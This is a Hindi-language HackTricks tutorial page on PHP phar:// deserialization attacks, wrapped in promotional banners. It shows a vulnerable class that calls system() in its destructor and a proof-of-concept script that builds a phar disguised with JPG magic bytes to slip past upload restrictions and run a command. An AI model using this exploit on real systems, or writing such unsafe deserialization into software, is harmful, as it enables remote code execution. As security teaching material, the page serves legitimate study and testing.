hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

104 lines
9.5 KiB
Markdown

# phar:// डिसीरियलाइजेशन
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ हैकट्रिक्स क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
* क्या आप **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन हैकट्रिक्स में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँचना चाहते हैं या हैकट्रिक्स को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **[**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**टेलीग्राम ग्रुप**](https://t.me/peass) में या मुझे **ट्विटर** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स शेयर करें, हैकट्रिक्स रेपो में PRs सबमिट करके** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकयोग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है_).
{% embed url="https://www.stmcyber.com/careers" %}
**Phar** फाइलें (PHP आर्काइव) फाइलें **सीरियलाइज्ड प्रारूप में मेटा डेटा समाहित करती हैं**, इसलिए, जब पार्स किया जाता है, यह **मेटाडेटा** **डिसीरियलाइज्ड** होता है और आप **PHP** कोड के अंदर एक **डिसीरियलाइजेशन** भेद्यता का दुरुपयोग करने की कोशिश कर सकते हैं।
इस विशेषता की सबसे अच्छी बात यह है कि यह डिसीरियलाइजेशन PHP कोड को eval करने वाले PHP फंक्शन्स का उपयोग करते समय भी होगा जैसे कि **file\_get\_contents(), fopen(), file() या file\_exists(), md5\_file(), filemtime() या filesize()**
तो, कल्पना कीजिए कि आप एक PHP वेब को किसी मनमानी फाइल का आकार प्राप्त करने के लिए **`phar://`** प्रोटोकॉल का उपयोग कर सकते हैं, और कोड के अंदर आपको निम्नलिखित जैसी एक **क्लास** मिलती है:
{% code title="vunl.php" %}
```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}
आप एक **phar** फाइल बना सकते हैं जिसे लोड करने पर **इस क्लास का दुरुपयोग करके मनमाने कमांड निष्पादित करेगा** इस प्रकार से:
{% code title="create_phar.php" %}
```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}
ध्यान दें कि **JPG के मैजिक बाइट्स** (`\xff\xd8\xff`) को phar फाइल की शुरुआत में कैसे जोड़ा गया है ताकि **संभावित** फाइल **अपलोड प्रतिबंधों** को **बायपास** किया जा सके।\
`test.phar` फाइल को इसके साथ **कंपाइल** करें:
```bash
php --define phar.readonly=0 create_phar.php
```
और निम्नलिखित कोड का उपयोग करके `whoami` कमांड को नाजुक कोड का दुरुपयोग करते हुए निष्पादित करें:
```bash
php vuln.php
```
### संदर्भ
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकिबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ हैकट्रिक्स क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
* क्या आप **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप चाहते हैं कि आपकी **कंपनी का विज्ञापन हैकट्रिक्स में दिखाई दे**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या हैकट्रिक्स को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे ट्विटर पर फॉलो करें** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PRs सबमिट करके.**
</details>